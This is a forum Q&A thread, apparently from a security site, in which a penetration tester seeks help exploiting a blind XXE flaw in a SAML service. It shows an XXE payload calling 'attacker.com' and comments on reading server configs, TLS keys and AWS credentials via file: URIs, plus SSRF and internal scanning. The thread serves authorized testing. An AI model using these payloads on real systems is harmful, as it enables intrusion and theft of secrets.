1

So I've found a blind Xml External Entity (XXE) attack against a SAML infrastructure while on a client engagement but it has been giving me fits trying to exploit it earlier. I can construct a simple XXE:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://attacker.com/">%xxe;
]>
<xml></xml>

and I get the http connect from their server but anything more complicated like fetching a DTD from me and running it gets nothing. I can see the fetch of the DTD but then the DTD request ( a simple call back to my server) doesn't execute. So after banging my head against a wall for three days I thought I'd ask the community if they had any clever tricks with XXE or any attack paths when attacks are limited.

  • Do you see the failed XML doc (i.e. does the server bounce the HTTP response back to you, complaining that it isn't valid XML)? If so, you'll usually have a lot more fun using the file: URI scheme to do things like grab server configs, TLS private keys, AWS creds, etc.). If not - if the attack is blind - you can still try using it to perform a network scan for HTTP(S) listeners on the server or within its LAN, and see if any of them do something unfortunate if poked with a GET request (or try generating a more-advanced SSRF). – CBHacking Jun 7 '18 at 1:10
  • I should have been more clear that it is a blind XXE, I'll edit the question. It looks like that's what I'll have to use it for is SSRF and as a scanner. Though a blind scanner won't get you much other than a confirmation a port is open. Sadly the service it sits on is mostly POST requests so SSRF may be out as well. – staticFlow Jun 7 '18 at 1:22
0

As with anything in this field more research never hurts!

I tried a payload found here https://gist.github.com/staaldraad/01415b990939494879b4 which didn't work originally but then I realized the implementation required actual valid xml tags at the end that the examples did not have!

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.